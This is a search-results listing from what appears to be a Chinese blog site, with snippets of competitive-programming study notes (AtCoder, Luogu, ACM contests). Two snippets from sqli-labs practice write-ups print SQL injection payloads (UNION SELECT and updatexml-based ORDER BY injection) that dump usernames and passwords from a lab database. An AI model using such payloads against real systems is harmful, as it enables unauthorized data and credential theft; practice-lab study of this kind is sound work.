搜索结果
查询Tags标签： 做题，共有 52条记录-
AtCoder做题记录
AtCoder大乱炖 AtCoder乱做 AtCoder 随便草 ARC147 ARC147C 发现这个式子当所有 \(x_i\) 趋近于某一个值时答案比较优，于是可以发现这是一个近似单谷函数，用二分 + 随机化/特判过掉就行。 令 \(\max_{i = 1}^n L_i = M\)，\(\min_{i = 1}^n R_i = m\)。\(M \leq m\) 显然…
2022/9/6 23:24:13 人评论 次浏览 -
8月做题笔记
LG P7165 题意：给一颗无根树，任意割两条边，使得最大的连通块与最小的连通块相差尽可能小。\(n=10^5\) Sol：先枚举删除的第一条边，考虑如何快速选出第二条边。很显然剩下的两块应该尽可能接近。 随便选个根，记一开始选的子树大小是\(size_i\)，那么剩下两块应该接近\…
2022/8/12 23:26:19 人评论 次浏览 -
[纯魔怔]I'm Yubai Now!
直到今天，不得不说出 Yubai 的真正含义 ： 欲摆 Q : 我是怎么知道的呢？ A : yzf 天天以可可爱爱萌萌哒哒的声音叫着这个 id，为了把萌萌体现出来所以变了变声调，拉了个长音，然后就变成 四声 + 三声了。 Q : 我为什么要说出来它的含义呢？ A : 因为 Im Yubai now! Q : …
2022/7/29 23:23:02 人评论 次浏览 -
Java学习第四周
本周是Java学习与PTA做题一起进行，通过做PTA的题目，我认识到逻辑思维的重要性，只有将逻辑捋顺了，写代码时才会顺利。Java本周学习了类的定义，对象的使用，单个对象，多个对象，this指针。相信通过暑假的学习，我的逻辑思维能力和Java编程能力会有较大的提升。
2022/7/24 1:22:48 人评论 次浏览 -
菜鸡多校训练及补题记录，随缘更
目录牛客多校contest 1杭电多校contest 1 牛客多校 contest 1 可做题 \(A\), \(C\), \(D\), \(G\), \(H\), \(I\), \(J\) 已做 \(A\), \(D\), \(G\), \(I\), \(A\)：区间合并模板 \(C\)： \(D\)：平几推导 \(G\)：签到 \(H\)： \(I\)：概率dp 令 \(f_{i, j}\) 为 还剩余i张…
2022/7/21 6:25:56 人评论 次浏览 -
拉格朗日差值学习笔记&做题记录
好像是多项式最基础的算法（？，但是咕了比较久，现在学一下吧。 差值是啥 这个东西类似于 FFT 的转化过程，就是多项式点值和多项式系数的转化，简而言之就是解决下面的问题，P4781。已知一个 \(n-1\) 次多项式的 \(n\) 个点值，\(f(x_i)=y_i\)，已知 \(k\)，求 \(f(k)\b…
2022/7/6 23:21:00 人评论 次浏览 -
AGC做题记录
估计不到10题就弃坑了 AGC054B 如果最后 Takahashi 取走的橘子的下标依次是 \(a_1,a_2...a_k\)，Aoki 是 \(b_1,b_2...b_{n-k}\)，那么如果 \(a,b\) 确定，\(p\) 也就唯一确定了。 数 \(a,b\) 很简单。考虑这个结论的正确性： 首先第一个该 Takahashi 选，所以 \(p_1=a_1\…
2022/6/7 23:21:16 人评论 次浏览 -
湖应ACM程序设计竞赛2022
湖应ACM程序设计竞赛总结 这也许是我专科最后一次参加算法竞赛？心里莫名有点惆怅.... 又是一次质疑我的学习策略的方法。 这次比赛我将从以下几个方面分析： 考试分析： 1.考场心态。 还算稳定，其实遇到了不少困难。学弟在旁边的打扰还有多次CE的经历，都让我很慌张。这…
2022/6/5 1:21:45 人评论 次浏览 -
【Coel.做题笔记】【旁观者…】二次剩余- Cipolla 算法
题前闲语 这周末就是省选了，甚至考场就在这个机房，可惜我并没有参加的机会。 唉，今年得好好努力了！ 题目简介 给出 \(N,p\)，求解方程 \[x^2 \equiv N(\bmod ~p) \]多组数据。 保证 \(p\) 是奇素数。 输入输出格式 输入格式第一行一个整数 $T$ 表示数据组数。 接下来 …
2022/4/14 20:12:43 人评论 次浏览 -
力扣285场周赛做题记录：射箭比赛中的最大得分 01背包，回溯，路径还原 python
想说的话 大家好
2022/3/21 11:27:40 人评论 次浏览 -
不定期更新（咕咕）的做题记录～
记录从2021.11.29开始的除 Acwing 例题以外有意思的题目记录 基础算法 位运算AcWing 998. 起床困难综合症 （利用了位运算时，位与位之间运算相互独立特性） Codeforces1620C BA-String （进制转换）排序算法UVA11462 Age Sort (卡PE的大水题)P1068 [NOIP2009 普及组] 分数…
2022/3/7 6:17:25 人评论 次浏览 -
蒟蒻的做题记录
做题记录分类如下（借鉴了dX的分类标准\(Beginner\)：过于简单因此没进备忘录的题 \(Easy\)：能在几分钟内秒掉或者一眼看出了做法的题 \(Medium\)：自己想出了正解或大部分思路的题，或一些正解不难但很有迷惑性的题。 \(Hard\)：自己只想到了个大方向或者束手无策的题 \…
2022/2/15 23:15:53 人评论 次浏览 -
sqli-labs做题解析
这是一些基本语法 1 先用一些 ？id=1 or 1=1 # ？id=17 or 1=1 # 等确定他的数量 最后用函数的套用将所有数据链接一起显示 ?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from security.users–+ 2 这个和第一题一样不过这个是去除 …
2022/2/11 2:13:01 人评论 次浏览 -
Sqli-Labs做题笔记:Less-46 - Less-53
ORDER BY 注入 Less-46: localhost/sqlilabs/Less-46/?sort=1 and (updatexml(1,concat(0x5e24,(substr((select+group_concat(username,0x7e,password)+from+security.users),1)),0x7e),1))http://localhost/sqlilabs/Less-46/?sort=rand(ascii(mid((select%20group_co…
2022/1/26 19:06:25 人评论 次浏览 -
洛谷-P1537
https://www.luogu.com.cn/problem/P1597这道题刚开始没有读懂意思，直接以为是简单的数字赋值，但是没有考虑到b:=a这种情况，以至于后面思绪直接被打乱了（突然发现自己也是太菜），最后还是看了题解才整出来。感觉以后做题看懂题目很重要：读懂题目，想出大致思路，着手…
2022/1/24 23:08:28 人评论 次浏览
